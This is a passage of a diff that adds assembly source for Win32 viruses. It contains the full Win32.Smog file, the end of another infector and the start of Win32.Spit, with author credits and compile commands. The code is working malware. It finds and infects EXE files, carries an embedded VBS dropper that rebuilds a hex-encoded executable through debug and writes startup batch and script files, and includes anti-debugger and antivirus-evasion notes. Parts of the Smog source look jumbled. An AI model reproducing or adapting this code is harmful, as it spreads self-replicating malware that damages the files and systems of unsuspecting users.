REP MOVSB ; WRITE VIRUS_BODY TO BUFFER
|
||||
|
||||
;________________ _ _ _ [ -CLOSE_FILE- ] _ _ _ __
|
||||
ADD BYTE PTR [ EBP + XOR_KEY + 1 ], 10
|
||||
MOV DH, BYTE PTR [ EBP + XOR_KEY + 1 ]
|
||||
MOV BYTE PTR [ EDI - ( VIRUS_END - XOR_KEY ) + 1 ], DH
|
||||
MOV [ EDI - ( VIRUS_END - HRETURN ) + 1 ], EAX
|
||||
|
||||
LEA ESI, [ EDI - ( VIRUS_END - E_START ) ]
|
||||
MOV ECX, VIRUS_END - E_START
|
||||
CALL ENCRYPT ; ENCRYPT VIRUS_BODY
|
||||
|
||||
PUSH 0 ; TRUNCATE FILE AND OPEN
|
||||
LEA EAX, [ EBP + FILENAME ] ; FILE FOR WRITE ACCESS
|
||||
PUSH EAX ; (FILE ATTRIBS ARE SET ABOVE)
|
||||
CALL [ EBP + __LCREAT ]
|
||||
INC EAX
|
||||
JZ _EXIT
|
||||
|
||||
MOV EAX, [ EBX + 014H ] ; FILESIZE = VIRT_ADR +
|
||||
ADD EAX, [ EBX + 010H ] ; SIZE_OF_RAW_DATA
|
||||
|
||||
PUSH EAX
|
||||
PUSH [ EBP + M_BUFFER ] ; WRITE BUFFER TO FILE...
|
||||
PUSH [ EBP + FILEHANDLE ] ; CLOSE FILE...
|
||||
CALL [ EBP + __LWRITE ] ; GET RID OF THOSE MEMORY
|
||||
PUSH [ EBP + FILEHANDLE ] ; POINTERS AND FREE MEMORY...
|
||||
CALL [ EBP + __LCLOSE ] ; SET OLD FILE ATTRIBUTES
|
||||
_EXIT: PUSH [ EBP + M_BUFFER ]
|
||||
CALL [ EBP + _GLOBALUNLOCK ]
|
||||
PUSH [ EBP + H_BUFFER ]
|
||||
CALL [ EBP + _GLOBALFREE ]
|
||||
|
||||
PUSH [ EBP + F_OATTRIBS ]
|
||||
LEA EAX, [ EBP + FILENAME ]
|
||||
PUSH EAX
|
||||
CALL [ EBP + _SETFILEATTRIBUTES ]
|
||||
RET
|
||||
|
||||
;________________ _ _ _ [ -VIRUS_DATA- ] _ _ _ __
|
||||
___KERNEL32: ;
|
||||
DB 06,"_lopen" ; API TABLE
|
||||
__LOPEN DD 0 ; WILL BE FILLED UP WITH ADR'S
|
||||
DB 06,"_lread" ; FROM A SPEZIFED MODULE-EXPORT
|
||||
__LREAD DD 0 ; TABLE (IN THIS CASE KERNEL32)
|
||||
DB 07,"_lwrite"
|
||||
__LWRITE DD 0
|
||||
DB 07,"_lclose"
|
||||
__LCLOSE DD 0
|
||||
DB 07,"_lcreat"
|
||||
__LCREAT DD 0
|
||||
DB 11,"GlobalAlloc"
|
||||
_GLOBALALLOC DD 0
|
||||
DB 10,"GlobalLock"
|
||||
_GLOBALLOCK DD 0
|
||||
DB 12,"GlobalUnlock"
|
||||
_GLOBALUNLOCK DD 0
|
||||
DB 10,"GlobalFree"
|
||||
_GLOBALFREE DD 0
|
||||
DB 13,"FindFirstFile"
|
||||
_FINDFIRSTFILE DD 0
|
||||
DB 12,"FindNextFile"
|
||||
_FINDNEXTFILE DD 0
|
||||
DB 09,"FindClose"
|
||||
_FINDCLOSE DD 0
|
||||
DB 17,"SetFileAttributes"
|
||||
_SETFILEATTRIBUTES DD 0
|
||||
DB 17,"GetFileAttributes"
|
||||
_GETFILEATTRIBUTES DD 0
|
||||
|
||||
_KERNEL DD 0 ; BASE PLACEHOLDERS
|
||||
_DEFAULT DD 0
|
||||
|
||||
MAPSIZE DD VIRUS_SIZE + 1000H
|
||||
|
||||
FILEHANDLE DD 0
|
||||
H_BUFFER DD 0
|
||||
M_BUFFER DD 0
|
||||
|
||||
W32FINDDATA: ; WIN32_FIND_DATA STRUC
|
||||
F_OATTRIBS DD 0
|
||||
DD 6 DUP ( 0 )
|
||||
FILESIZEH DD 0
|
||||
FILESIZE DD 0
|
||||
DD 2 DUP ( 0 )
|
||||
FILENAME DB MAX_PATH DUP ( 0 )
|
||||
DB 14 DUP ( 0 )
|
||||
|
||||
S_HANDLE DD 0
|
||||
FILE_MASK DB "*.EXE", 0
|
||||
|
||||
VIRUS_END:
|
||||
|
||||
END VIRUS_START
|
465
Win32/Win32.Smog.asm
Normal file
465
Win32/Win32.Smog.asm
Normal file
@ -0,0 +1,465 @@
|
||||
;============================================================
|
||||
;=== Win32.SMOG virus. Coded by Necronomikon[Zer0Gravity] ===
|
||||
;============================================================
|
||||
;Virusname: Win32.Smog
|
||||
;------------------------------------------------------------
|
||||
;Author: Necronomikon
|
||||
;------------------------------------------------------------
|
||||
;Group: Zero Gravity / Devilport Systems
|
||||
;------------------------------------------------------------
|
||||
;Infection:Win32.Smog is a runtime/direct action EXE virus. Infects
|
||||
;first file in current directory, when executed, by prepending the virus to
|
||||
;the original EXE file.
|
||||
;------------------------------------------------------------
|
||||
;Features: - Open the CDRom-drive all 2Minutes
|
||||
; - Fuck Debuggers
|
||||
; - Display MessageBox
|
||||
;=======================================================
|
||||
; . To compile:
|
||||
;=======================================================
|
||||
; TASM32 /M /ML /Q Smog.ASM
|
||||
; TLINK32 -Tpe -c -x -aa -r smog.OBJ,,, IMPORT32
|
||||
|
||||
|
||||
.386
|
||||
.model flat,stdcall
|
||||
|
||||
; KERNEL32.dll
|
||||
extrn ExitProcess:proc
|
||||
extrn FindFirstFileA:proc
|
||||
extrn WinExec:proc
|
||||
extrn _lclose:proc
|
||||
extrn _llseek:proc
|
||||
extrn _lopen:proc
|
||||
extrn _lread:proc
|
||||
extrn _lwrite:proc
|
||||
extrn DeleteFileA:proc
|
||||
extrn CopyFileA:proc
|
||||
extrn MessageBoxA:proc
|
||||
extrn SetCurrentDirectoryA:proc
|
||||
extrn GetCommandLineA:proc
|
||||
extrn CreateFileA:proc
|
||||
extrn WriteFile:proc
|
||||
extrn CloseHandle:proc
|
||||
L equ <LARGE>
|
||||
.data
|
||||
nec dd 0 ; for write process
|
||||
cont0 dd 0 ; for loops
|
||||
cont1 db 0 ; for loops
|
||||
fHnd dd ?
|
||||
hostName db 260 dup(0) ; space for save host name
|
||||
chDir db 260 dup(0) ; space for save current dir
|
||||
commandLine dd ? ; handle for command line
|
||||
sysTimeStruct db 16 dup(0) ; space for system time struct
|
||||
szTitle db "Structured Exception Handler example",0
|
||||
szMessage db "Intercepted General Protection Fault!",0
|
||||
|
||||
.code
|
||||
|
||||
start:
|
||||
call setupSEH ; The call pushes the offset
|
||||
; past it in the stack rigth?
|
||||
; So we will use that :)
|
||||
exceptionhandler:
|
||||
mov esp,[esp+8] ; Error gives us old ESP
|
||||
; in [ESP+8]
|
||||
|
||||
push 00000000h ; Parameters for MessageBoxA
|
||||
push offset szTitle
|
||||
push offset szMessage
|
||||
push 00000000h
|
||||
call MessageBoxA
|
||||
|
||||
push 00000000h
|
||||
call ExitProcess ; Exit Application
|
||||
|
||||
setupSEH:
|
||||
push dword ptr fs:[0] ; Push original SEH handler
|
||||
mov fs:[0],esp ; And put the new one (located
|
||||
; after the first call)
|
||||
|
||||
mov ebx,0BFF70000h ; Try to write in kernel (will
|
||||
mov eax,012345678h ; generate an exception)
|
||||
xchg eax,[ebx]
|
||||
|
||||
|
||||
scriptName db 'smogdrop.vbs',0
|
||||
vbsFile db 'rem VBS.Dropper for Win32.Smog',0,0dh,0ah
|
||||
db 'On Error Resume Next',0,0dh,0ah
|
||||
db 'rem VBS.Dropper for Win32.Smog',0,0dh,0ah
|
||||
db 'MsgBox "Take this dropper!", 64,"Necronomikon[Zer0Gravity]"',0,0dh,0ah
|
||||
db 'Dim BatFile, nec',0,0dh,0ah
|
||||
db 'Set FSO = CreateObject("Scripting.FileSystemObject")',0,0dh,0ah
|
||||
db 'Set nec = FSO.CreateTextFile("c:\Windows\smogdrop.dll", 2, False)',0,0dh,0ah
|
||||
db 'nec.WriteLine "N SMOGDROP.EXE"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 4D5A90000300000004000000FFFF0000B8000000000000004000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 00000000000000000000000000000000000000000000000B00000000E1FBA0E00B409CD21"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E F53206D6F64652E0D0D0A24000000000000005D171DDB19767388197673881976738819767"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 38817767388E55661881876738852696368197673880000000000000000504500004C01030"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0F23624340000000000000000E0000F010B01050C000200000004000000000000001000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0100000002000000000400000100000000200000400000000000000040000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 00000000040000000040000000000000200000000001000001000000000100000100000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 000001000000000000000000000002820000050000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 000000000000000000000000000000000000000000000000000000000200000280000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 000000000000000000000000000000000000000000002E74657874000000BC0000000010000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 00002000000040000000000000000000000000000200000602E726461746100003201000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 2000000002000000060000000000000000000000000000400000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 402E64617461000000C40000000030000000020000000800000000000000000000000000004"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 00000C000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000000000000000000000000000006A00680030400068273040006A00E88500000068"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E B0304000E88D000000689930400050E888000000A3C03040006A016A00FF15C03040006A0068"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E C0D401006A006A00E8570000006A006A006A00684F304000E83B00000083F800742EA1533040"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 003D1301000075DF6A006A006A00686B304000E83E0000006A006A006A006881304000E82E00"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000EBBD6A00E813000000CCFF2518204000FF2510204000FF2514204000FF2508204000FF25"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 00204000FF2504204000FF252020400000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 000000000000000000000000000000000000000000000000000000E2200000F6200000D42000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000AE200000BC200000A0200000000000001621000000000000882000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 000000C820000010200000782000000000000000000000082100000020000098200000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 000000000028210000202000000000000000000000000000000000000000000000E2200000F6"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 200000D420000000000000AE200000BC200000A0200000000000001621000000000000280147"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 65744D6573736167654100BB014D657373616765426F7841004D0253657454696D6572000055"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 53455233322E646C6C000075004578697450726F63657373001101476574"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 4D6F64756C6548616E646C65410000290147657450726F634164647265737300004B45524E45"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 4C33322E646C6C000035006D636953656E64537472696E6741000057494E4D4D2E646C6C0000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000002A57"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 696E33322E536D6F672844726F70706572292A46726573686572207468616E2061697221004B"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 6F707977726F6E67206279204E6563726F6E6F6D696B6F6E205B5A657230477261766974795D"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000736574204344417564"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 696F20646F6F72206F70656E00736574204344417564696F20646F6F7220636C6F7365640052"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 656769737465725365727669636550726F63657373006B65726E656C33322E646C6C00000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 00000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 00000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 0000000000000000000000000000000000000000000000000000000000000000000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "E 00000000000000"',0,0dh,0ah
|
||||
db 'nec.WriteLine "RCX"',0,0dh,0ah
|
||||
db 'nec.WriteLine "82"',0,0dh,0ah
|
||||
db 'nec.WriteLine "W"',0,0dh,0ah
|
||||
db 'nec.WriteLine "Q"',0,0dh,0ah
|
||||
db 'nec.WriteLine ""',0,0dh,0ah
|
||||
db 'nec.Close',0,0dh,0ah
|
||||
db 'Set BatFile = FSO.CreateTextFile("c:\Windows\WinStart.bat", 2, False)',0,0dh,0ah
|
||||
db 'BatFile.WriteLine ""',0,0dh,0ah
|
||||
db 'BatFile.WriteLine "@echo off"',0,0dh,0ah
|
||||
db 'BatFile.WriteLine "debug < c:\windows\smogdrop.dll > nul"',0,0dh,0ah
|
||||
db 'BatFile.WriteLine "c:\smogdrop.exe"',0,0dh,0ah
|
||||
db 'BatFile.WriteLine ""',0,0dh,0ah
|
||||
db 'BatFile.Close',0,0dh,0ah
|
||||
db 'MsgBox "Fresher than air!", 48,"Win32.Smog"',0,0dh,0ah
|
||||
|
||||
endScript db 0
|
||||
scriptSize equ offset vbsDir0-offset vbsFile
|
||||
|
||||
vbsDir0 db 'c:\windows\start~1\progra~1\autost~1',0
|
||||
|
||||
end start
|
||||
; virus id and author
|
||||
virusId db 'Win32.SMOG',0
|
||||
; message
|
||||
mess db '*SMOG*Fresher than air...'
|
||||
db 0dh,0ah,'Coded by Necronomikon[ZeroGravity]',0
|
||||
|
||||
MAX_PATH equ 0ffh
|
||||
FALSE equ 00h
|
||||
OF_READWRITE equ 02h ; Opens the file for reading and
|
||||
; writing
|
||||
SW_SHOW equ 05h ; Activates the window and displays it
|
||||
; in its current size and position
|
||||
|
||||
FILETIME struct
|
||||
dwLowDateTime DWORD ? ; Specifies the low-order 32 bits of
|
||||
; the file time
|
||||
dwHighDateTime DWORD ? ; Specifies the high-order 32 bits of
|
||||
; the file time
|
||||
FILETIME ends
|
||||
|
||||
WIN32_FIND_DATA struct
|
||||
dwFileAttributes DWORD ? ; Specifies the file attributes of the
|
||||
; file found
|
||||
ftCreationTime FILETIME <> ; Specifies the time the file was
|
||||
; created
|
||||
ftLastAccessTime FILETIME <> ; Specifies the time that the file was
|
||||
; last accessed
|
||||
ftLastWriteTime FILETIME <> ; Specifies the time that the file was
|
||||
; last written to
|
||||
nFileSizeHigh DWORD ? ; Specifies the high-order DWORD value
|
||||
; of the file size, in bytes
|
||||
nFileSizeLow DWORD ? ; Specifies the low-order DWORD value
|
||||
; of the file size, in bytes
|
||||
dwReserved0 DWORD ? ; Reserved for future use
|
||||
dwReserved1 DWORD ? ; Reserved for future use
|
||||
cFileName BYTE MAX_PATH dup(?)
|
||||
; A null-terminated string that is the
|
||||
; name of the file
|
||||
cAlternate BYTE 0eh dup(?) ; A null-terminated string that is an
|
||||
; alternative name for the file
|
||||
ends
|
||||
|
||||
FindFileData WIN32_FIND_DATA <>
|
||||
szFileName db '*.exe',00h ; Name of file to search for
|
||||
szNewFileName db 'Necro.exe',00h
|
||||
; Null-terminated string that
|
||||
; specifies the name of the new file
|
||||
cBuffer db ? ; Buffer for read data, data to be
|
||||
; written
|
||||
cBuffer_ db ? ; Buffer for read data, data to be
|
||||
; written
|
||||
.code
|
||||
code_begin:
|
||||
push L 1030h ; show a message box
|
||||
lea eax,virusId
|
||||
push eax
|
||||
lea eax,mess
|
||||
push eax
|
||||
push L 0
|
||||
call MessageBoxA
|
||||
skipPay:
|
||||
call GetCommandLineA ; get command line
|
||||
mov dword ptr [commandLine],eax
|
||||
|
||||
xor esi,esi
|
||||
lea edi,hostName
|
||||
vbsCheck:
|
||||
lea eax,vbsDir0
|
||||
push eax
|
||||
call SetCurrentDirectoryA
|
||||
cmp eax,0
|
||||
je installScript
|
||||
|
||||
|
||||
installScript:
|
||||
lea eax,scriptName
|
||||
push eax
|
||||
call DeleteFileA
|
||||
|
||||
push L 0h
|
||||
push L 20h ; archive
|
||||
push L 1
|
||||
push L 0h
|
||||
push L (1h OR 2h)
|
||||
push 40000000h
|
||||
lea eax,scriptName
|
||||
push eax
|
||||
call CreateFileA ; open new script for write (shared)
|
||||
cmp eax,-1
|
||||
je retDir
|
||||
|
||||
mov dword ptr [fHnd],eax
|
||||
|
||||
push L 0
|
||||
lea eax,nec
|
||||
push eax
|
||||
mov eax,scriptSize
|
||||
push eax
|
||||
lea eax,vbsFile
|
||||
push eax
|
||||
push dword ptr [fHnd]
|
||||
call WriteFile ; write file
|
||||
|
||||
mov eax,dword ptr [fHnd] ; close file
|
||||
push eax
|
||||
call CloseHandle
|
||||
|
||||
retDir:
|
||||
lea eax,chDir
|
||||
push eax ; restore work directory
|
||||
call SetCurrentDirectoryA
|
||||
|
||||
dcLoop:
|
||||
push L 0
|
||||
lea eax,nec
|
||||
push eax
|
||||
push L 1
|
||||
push edi
|
||||
push dword ptr [fHnd]
|
||||
call WriteFile ; write data
|
||||
|
||||
cmp byte ptr [edi],0ffh
|
||||
jne skipFF
|
||||
|
||||
dec dword ptr [cont0]
|
||||
call addFF
|
||||
inc edi
|
||||
|
||||
skipFF:
|
||||
inc edi
|
||||
dec dword ptr [cont0]
|
||||
cmp dword ptr [cont0],0
|
||||
jne dcLoop
|
||||
|
||||
push dword ptr [fHnd] ; close file
|
||||
call CloseHandle
|
||||
|
||||
|
||||
addFF:
|
||||
xor ecx,ecx
|
||||
mov cl,byte ptr [edi+1]
|
||||
mov byte ptr [cont1],cl
|
||||
cmp cl,0
|
||||
jne addFFLoop
|
||||
ret
|
||||
|
||||
addFFLoop:
|
||||
push L 0
|
||||
lea eax,nec
|
||||
push eax
|
||||
push L 1
|
||||
push edi
|
||||
push dword ptr [fHnd]
|
||||
call WriteFile ; write data
|
||||
|
||||
dec byte ptr [cont1]
|
||||
cmp byte ptr [cont1],0
|
||||
jne addFFLoop
|
||||
|
||||
ret
|
||||
|
||||
;
|
||||
|
||||
lea edi,[esp+10h] ; EDI = pointer to buffer for module
|
||||
; path
|
||||
push edi ; EDI = pointer to buffer for module
|
||||
; path
|
||||
repne scasb ; Find end of filename
|
||||
mov byte ptr [edi-01h],'.' ; Store dot
|
||||
pop edi ; EDI = pointer to buffer for module
|
||||
; path
|
||||
|
||||
push offset FindFileData ; Address of returned information
|
||||
push offset szFileName ; Address of name of file to search
|
||||
; for
|
||||
call FindFirstFileA
|
||||
|
||||
push FALSE ; If file already exists, overwrite it
|
||||
push offset szNewFileName ; Address of filename to copy to
|
||||
push edi ; Address of name of an existing file
|
||||
call CopyFileA
|
||||
|
||||
push OF_READWRITE ; Opens the file for reading and
|
||||
; writing
|
||||
push offset FindFileData.cFileName
|
||||
; Address of name of file to open
|
||||
call _lopen
|
||||
mov esi,eax ; ESI = file handle
|
||||
|
||||
push OF_READWRITE ; Opens the file for reading and
|
||||
; writing
|
||||
push offset szNewFileName ; Address of filename to copy to
|
||||
call _lopen
|
||||
mov edi,eax ; EDI = file handle
|
||||
|
||||
xor ebx,ebx ; Number of bytes read and written
|
||||
mov ebp,0fffff000h ; Number of bytes to move through
|
||||
; source file
|
||||
read_write_loop:
|
||||
push 00h ; Position to move from
|
||||
push ebx ; Number of bytes to move
|
||||
push esi ; Pointer to destination filename
|
||||
call _llseek
|
||||
|
||||
push 01h ; Length, in bytes, of data buffer
|
||||
push offset cBuffer ; Address of buffer for read data
|
||||
push esi ; Pointer to destination filename
|
||||
call _lread
|
||||
|
||||
push 00h ; Position to move from
|
||||
push ebx ; Number of bytes to move
|
||||
push edi ; Pointer to source filename
|
||||
call _llseek
|
||||
|
||||
push 01h ; Length, in bytes, of data buffer
|
||||
push offset cBuffer_ ; Address of buffer for read data
|
||||
push edi ; Pointer to source filename
|
||||
call _lread
|
||||
|
||||
push 00h ; Position to move from
|
||||
push ebx ; Number of bytes to move
|
||||
push esi ; Pointer to destination filename
|
||||
call _llseek
|
||||
|
||||
push 01h ; Number of bytes to write
|
||||
push offset cBuffer_ ; Address of buffer for data to be
|
||||
; written
|
||||
push esi ; Pointer to destination filename
|
||||
call _lwrite
|
||||
|
||||
push 02h ; Position to move from
|
||||
push 00h ; Number of bytes to move
|
||||
push esi ; Pointer to destination filename
|
||||
call _llseek
|
||||
|
||||
push 01h ; Number of bytes to write
|
||||
push offset cBuffer ; Address of buffer for data to be
|
||||
; written
|
||||
push esi ; Pointer to destination filename
|
||||
call _lwrite
|
||||
|
||||
push 02h ; Position to move from
|
||||
push ebp ; Number of bytes to move
|
||||
push edi ; Pointer to source filename
|
||||
call _llseek
|
||||
|
||||
push 01h ; Length, in bytes, of data buffer
|
||||
push offset cBuffer ; Address of buffer for read data
|
||||
push edi ; Pointer to source filename
|
||||
call _lread
|
||||
|
||||
push 00h ; Position to move from
|
||||
push ebx ; Number of bytes to move
|
||||
push edi ; Pointer to source filename
|
||||
call _llseek
|
||||
|
||||
push 01h ; Number of bytes to write
|
||||
push offset cBuffer ; Address of buffer for data to be
|
||||
push edi ; Pointer to source filename
|
||||
call _lwrite
|
||||
|
||||
inc ebx ; Increase number of bytes read and
|
||||
; written
|
||||
inc ebp ; Increase number of bytes to move
|
||||
; through source file
|
||||
cmp bx,1000h ; Read and written all of the virus?
|
||||
jne read_write_loop ; Not equal? Jump to read_write_loop
|
||||
|
||||
push edi ; Handle of file to close
|
||||
call _lclose
|
||||
|
||||
push SW_SHOW ; Activates the window and displays it
|
||||
; in its current size and position
|
||||
push offset szNewFileName ; Address of filename to copy to
|
||||
call WinExec
|
||||
code_end:
|
||||
|
||||
end code_begin
|
857
Win32/Win32.Spit.asm
Normal file
857
Win32/Win32.Spit.asm
Normal file
@ -0,0 +1,857 @@
|
||||
;
|
||||
; SPIT.Win32 rev2.1
|
||||
; a Bumblebee Win32 Virus
|
||||
;
|
||||
; . Yeah! It's simple but FULL Win32 compatible -i think-. A non-resident
|
||||
; Win32 virus using ffirst 'n' fnext.
|
||||
; . Copies into host: virus+host. When host execs copies host to
|
||||
; temporary file and execs it. Then waits until exec ends to delete
|
||||
; the tmp file. It's like a spit: petty but annoying if falls over you ;)
|
||||
;
|
||||
; . Is my 1st PE virus and can be improved -see icons on infected files-.
|
||||
; But SPIT uses a simple way to infect!
|
||||
;
|
||||
; . Notes:
|
||||
; - Uses WinExec 'cause CreateProcess is more complex.
|
||||
; - Virus size is 8192 bytes (code+data+headers+...)
|
||||
; - Marks Dos header with 'hk' on infected files
|
||||
; - Makes a semi-random name for tmp file
|
||||
;
|
||||
; . What's new on rev2?
|
||||
;
|
||||
; - Only infect PE files
|
||||
; - exec host before infect
|
||||
; - Best random tmp name
|
||||
; - Hide tmp host with hidden attribute while exec
|
||||
; - Encrypts host -fuck you avers ;)-
|
||||
; - no file time change
|
||||
; - uses CD13 routines to drop over RAR file -Thanx CD13!-
|
||||
;
|
||||
; . What's new on rev2.1?
|
||||
; - a stupid error fixed -WinExec 1st push must be 1 :(-
|
||||
;
|
||||
;
|
||||
; . ThanX to...
|
||||
;
|
||||
; ... 29a for e-zines, CD13 for his cool stuff, and Lethal for
|
||||
; find a bug when i think it was finished ...
|
||||
;
|
||||
;
|
||||
; The way of the bee
|
||||
;
|
||||
; . yeah Lich... win32 programming is:
|
||||
;
|
||||
; push shit
|
||||
; push moreShit
|
||||
; push tooMuchShit
|
||||
; call WinGoesToHell
|
||||
;
|
||||
;
|
||||
; tasm /ml /m3 v32,,;
|
||||
; tlink32 -Tpe -c v32,v32,, import32.lib
|
||||
;
|
||||
|
||||
.386
|
||||
locals
|
||||
jumps
|
||||
.model flat,STDCALL
|
||||
|
||||
; procs to import
|
||||
extrn ExitProcess:PROC
|
||||
extrn CreateFileA:PROC
|
||||
extrn WriteFile:PROC
|
||||
extrn CloseHandle:PROC
|
||||
extrn FindFirstFileA:PROC
|
||||
extrn FindNextFileA:PROC
|
||||
extrn ReadFile:PROC
|
||||
extrn GetCommandLineA:PROC
|
||||
extrn VirtualAlloc:PROC
|
||||
extrn VirtualFree:PROC
|
||||
extrn MessageBoxA:PROC
|
||||
extrn _llseek:PROC
|
||||
extrn GetFileSize:PROC
|
||||
extrn DeleteFileA:PROC
|
||||
extrn WinExec:PROC
|
||||
extrn lstrcpy:PROC
|
||||
extrn lstrcat:PROC
|
||||
extrn GetSystemTime:PROC
|
||||
extrn SetFileAttributesA:PROC
|
||||
extrn GetFileTime:PROC
|
||||
extrn SetFileTime:PROC
|
||||
|
||||
|
||||
; from BC++ Win32 API on-line Reference
|
||||
WIN32_FIND_DATA struc
|
||||
dwFileAttributes dd 0
|
||||
dwLowDateTime0 dd ? ; creation
|
||||
dwHigDateTime0 dd ?
|
||||
dwLowDateTime1 dd ? ; last access
|
||||
dwHigDateTime1 dd ?
|
||||
dwLowDateTime2 dd ? ; last write
|
||||
dwHigDateTime2 dd ?
|
||||
nFileSizeHigh dd ?
|
||||
nFileSizeLow dd ?
|
||||
dwReserved dd 0,0
|
||||
cFileName db 260 dup(0)
|
||||
cAlternateFilename db 14 dup(0)
|
||||
db 2 dup(0)
|
||||
WIN32_FIND_DATA ends
|
||||
|
||||
; struc from 29A INC files... THANX you a lot!
|
||||
IMAGE_DOS_HEADER STRUC
|
||||
MZ_magic DW ? ; Magic number
|
||||
MZ_cblp DW ? ; Bytes on last page of file
|
||||
MZ_cp DW ? ; Pages in file
|
||||
MZ_crlc DW ? ; Relocations
|
||||
MZ_cparhdr DW ? ; Size of header in paragraphs
|
||||
MZ_minalloc DW ? ; Minimum extra paragraphs needed
|
||||
MZ_maxalloc DW ? ; Maximum extra paragraphs needed
|
||||
MZ_ss DW ? ; Initial (relative) SS value
|
||||
MZ_sp DW ? ; Initial SP value
|
||||
MZ_csum DW ? ; Checksum
|
||||
